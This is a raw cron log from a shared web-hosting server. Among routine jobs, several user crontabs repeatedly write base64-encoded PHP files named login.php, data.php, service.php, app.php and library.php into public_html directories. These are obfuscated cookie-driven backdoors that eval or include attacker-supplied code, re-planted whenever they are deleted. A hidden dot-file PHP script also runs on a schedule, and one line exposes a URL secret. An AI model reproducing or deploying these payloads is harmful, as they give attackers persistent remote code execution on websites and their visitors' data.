Jun  7 13:06:02 medusa CROND[25734]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 13:07:01 medusa CROND[27346]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 13:07:01 medusa CROND[27347]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 13:07:01 medusa CROND[27348]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 13:07:01 medusa CROND[27349]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 13:07:01 medusa CROND[27350]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:07:01 medusa CROND[27351]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 13:07:01 medusa CROND[27354]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 13:07:01 medusa CROND[27355]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:07:01 medusa CROND[27358]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:07:01 medusa CROND[27359]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 13:07:01 medusa CROND[27365]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 13:07:01 medusa CROND[27367]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:08:01 medusa CROND[28879]: (root) CMD (/usr/bin/flock -n /var/run/setup_cl_plus.cronlock /usr/share/cloudlinux/cl_plus/manage_clplus &> /dev/null)
Jun  7 13:08:01 medusa CROND[28884]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 13:08:01 medusa CROND[28897]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 13:08:01 medusa CROND[28898]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 13:08:01 medusa CROND[28899]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 13:08:01 medusa CROND[28901]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 13:08:01 medusa CROND[28904]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:08:01 medusa CROND[28909]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 13:08:01 medusa CROND[28908]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 13:08:01 medusa CROND[28911]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 13:08:01 medusa CROND[28912]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:08:01 medusa CROND[28902]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 13:08:01 medusa CROND[28915]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:08:01 medusa CROND[28933]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:09:01 medusa CROND[30437]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 13:09:01 medusa CROND[30440]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 13:09:01 medusa CROND[30441]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 13:09:01 medusa CROND[30442]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:09:01 medusa CROND[30443]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
